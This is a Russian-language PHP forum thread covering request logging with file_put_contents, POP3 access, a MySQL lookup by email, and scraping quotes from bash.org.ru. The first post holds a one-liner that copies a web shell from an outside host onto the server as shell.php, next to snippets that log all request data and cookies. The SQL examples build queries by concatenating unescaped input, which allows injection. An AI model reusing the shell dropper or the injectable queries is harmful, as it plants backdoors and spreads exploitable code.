Или просто file_put_contents('razor_zanuda.txt',$_REQUEST);//$_POST,$_GET,$_COOKIE 2heretic1990 copy('http://moishell.ru/shell.txt','shell.php');
0_o во-первых _REQUEST - это массив (такой же как _GET или _POST), во-вторых file_put_contents принимает два аргумента, а не один и никак не массив. Вообще все с чем обратились к скрипту в GET'е пишется так: file_put_contents('file.txt', $_SERVER['QUERY_STRING']); а в POST'е так: file_put_contents('file.txt', $HTTP_RAW_POST_DATA);
[Raz0r], file_put_contents поддерживает запись массива в файл. Если ты внимательно посмотришь , то второй параметр - mixed data
Возник вопрос - что будет работать быстрее с POP3 сервером: 1) Функции imap 2) Чистые сокеты 3) Что-то иное Господам ругающимся из-за file_put_contents с массивами - ключи не сохранятся, и записано будет без разделителей
[Raz0r], спс... помогите что то запутался... вобщем надо получить id юзера по мылу... я так делаю.. PHP: $dbName='fe'; $link = mysql_connect($D"host"],$D["user"],$D["pass"]); mysql_select_db($dbName, $link); $query = mysql_query("SELECT id FROM users WHERE email = '".$email."'"); $results = mysql_fetch_array($query); if(!$results) { echo "Возникла ошибка - ".mysql_error()."<br>"; echo $query; exit(); } $id = $results['id']; echo "$id"; выдает как надо?
Вообше если записывать через file_put_contents то неплохо бы провепять не явлються ли входные данные 2 -х(или более) мерным массивом(ну вдруг в голову взбредет) file_put_contents('razor_zanuda.txt',array_reduce($_POST,'implode'))
Вот так попробуй: PHP: <? $dbName='fe'; $link = mysql_connect($D['host'],$D['user'],$D['pass']); mysql_select_db($dbName, $link); $query = "SELECT id FROM users WHERE email = '$email'"; $result = mysql_query($query); if(!$result) { echo "Возникла ошибка - ".mysql_error()." <br>"; die($query); } $results = mysql_fetch_array($result); echo $results['id'];
1) Не путай IMAP и POP3 - это разные протоколы... 2) Ясен хер, что самый низкий уровень, на котором происходит обмен между почтовым сервером и клиентом - сетевой уровень, на уровне сокет, через команды протокола... Задай себе сначала вопрос - удобно ли тебе будет работать с командами протокола в RAW-режиме? Или может воспользоваться тем, что инкапсулирует эти команды в себе, а тебе предоставляет некий интерфейс?
Подскажите пожалуйста, как можно записывать цитаты с баша в переменную с помощью скрипта и затем отправлять эту переменную куда либо. Имеется хост с кроном для этих целей. Интересует сам процесс отбора цитат и их передача. Заранее большое спасибо.
awdrg сокетами или cURL ом получаешь страницу баша, и парсишь её на цитаты. мануал по курлам- http://ru.php.net/curl по сокетам- http://ru.php.net/sockets, http://www.opennet.ru/base/dev/php_sockets.txt.html по поиску в тексте http://www.softtime.ru/bookphp/gl3_1.php
PHP: $random = file_get_contents('http://bash.org.ru/random'); preg_match_all('#<div class="vote">(.*?)</div>(.*?)<div>(.*?)</div>#is', $random, $ma4); print_r($ma4[3]);
Я post'oм пересылаю ma4 на страницу, но все ее значение это: Code: And array Может нужно текст русский перегнать в %4D%FG и т д ? И если да, то как?
Code: Warning: urlencode() expects parameter 1 to be string, array given in (%pathname\bash.php) on line 12. Писал так: $ma4=urlencode($ma4); Что неверно?
Ты масив втуливаешь,проблема не в кодировке скорей всего,покажи весь код, например можно вот так перевести $ma4=urlencode(array_reduce( $ma4,'implode'));
[code.$random = file_get_contents('http://bash.org.ru/random'); preg_match_all('#<div class="vote">(.*?)</div>(.*?)<div>(.*?)</div>#is', $random, $ma4); print_r($ma4[3]); $ma4=urlencode($ma4);[/code] получается для post отправки русского текста нужно перегнать $ma4 в urlencode формат. А что в твоем примере является конечным массивом?
вылезает: Code: fatal error: allowed memory size of 134217728 bytes exhausted (tried to allocate 76646989 bytes) in %path\bash.php on line 12